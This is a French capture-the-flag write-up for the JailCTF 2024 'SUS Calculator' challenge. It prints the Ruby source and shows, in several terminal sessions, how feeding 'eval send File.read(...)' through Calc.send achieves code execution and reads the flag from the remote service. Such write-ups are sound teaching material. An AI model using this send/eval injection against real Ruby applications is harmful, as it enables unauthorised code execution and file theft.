MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

🧐 SUS Calculator

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

📖 Énoncé du challenge

#!/usr/local/bin/ruby

class Calc
  def self.+ left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left + right
  end

  def self.- left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left - right
  end

  def self.* left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left * right
  end

  def self./ left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left / right
  end

  def self.% left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left % right
  end
end

STDOUT.sync = true
puts <<~HEADER
  SUS Calculator (Super Ultra Safe Calculator)
  I heard using eval for these calculator apps is bad, so I made sure to avoid it
  Good luck doing anything malicious here >:)

HEADER

loop do
  print "> "
  cmd = gets.chomp.split

  if cmd.size != 3
    puts "Usage: num (+|-|*|/|%) num"
    next
  end

  left, op, right = cmd
  puts Calc.send(op.to_sym, left, right)
end

🚩 Avoir le flag

Comme à chaque fois, on commence par analyser le script.

  • Nous avons une calculatrice qui effectue des opérations basiques.
  • Les opérations sont effectuées en utilisant des méthodes de classe.

Sauf que à première vue, on ne voit pas de faille. On ne peut pas injecter de code, et les opérations sont bien sécurisées.

En réfléchissant, on se rend compte que op qui est sencé être l'opérateur, est utilisé pour appeler une méthode de classe. Et si on mettait un nom de méthode qui n'existe pas ?

$ ruby chal.rb 
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)

> 1 + 1
2
> a a a
chal.rb:57:in `block in <main>': undefined method `a' for Calc:Class (NoMethodError)
        from chal.rb:47:in `loop'
        from chal.rb:47:in `<main>'

Il faut donc qu'on trouve une méthode qui existerait dans la classe Calc mais qui n'est pas utilisée dans le script.

C'est alors que je trouve la méthode send qui permet d'appeler une méthode de classe en passant son nom en paramètre.

$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)

> exec send a
chal.rb:57:in `exec': No such file or directory - a (Errno::ENOENT)
        from chal.rb:57:in `block in <main>'
        from chal.rb:47:in `loop'
        from chal.rb:47:in `<main>'

Nous avons donc une très très bonne faille de type command injection. Il ne nous reste plus qu'à exécuter notre commande pour lire le fichier flag.txt.

$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)

> exec send flag.txt
chal.rb:57:in `exec': No such file or directory - flag.txt (Errno::ENOENT)
        from chal.rb:57:in `block in <main>'
        from chal.rb:47:in `loop'
        from chal.rb:47:in `<main>'

Bon bah su-per... c'est quoi cette erreur ???? Bon on va tenter autre chose

$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)

> exec send ./flag.txt
./flag.txt: 1: jail{flag_will_be_here_on_remote}: not found

On execute alors en remote et:

$ nc challs1.pyjail.club 5456

SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)

> exec send ./flag.txt
/app/run:57:in `exec': Permission denied - ./flag.txt (Errno::EACCES)
        from /app/run:57:in `block in <main>'
        from <internal:kernel>:187:in `loop'
        from /app/run:47:in `<main>'

Bon bah on va devoir trouver autre chose. on va tenter maintenant de lire le fichier avec un eval.

$ nc challs1.pyjail.club 5456
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)

> eval send File.read("flag.txt")
jail{me_when_i_uhhh_escape}

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
🟩 Filter'd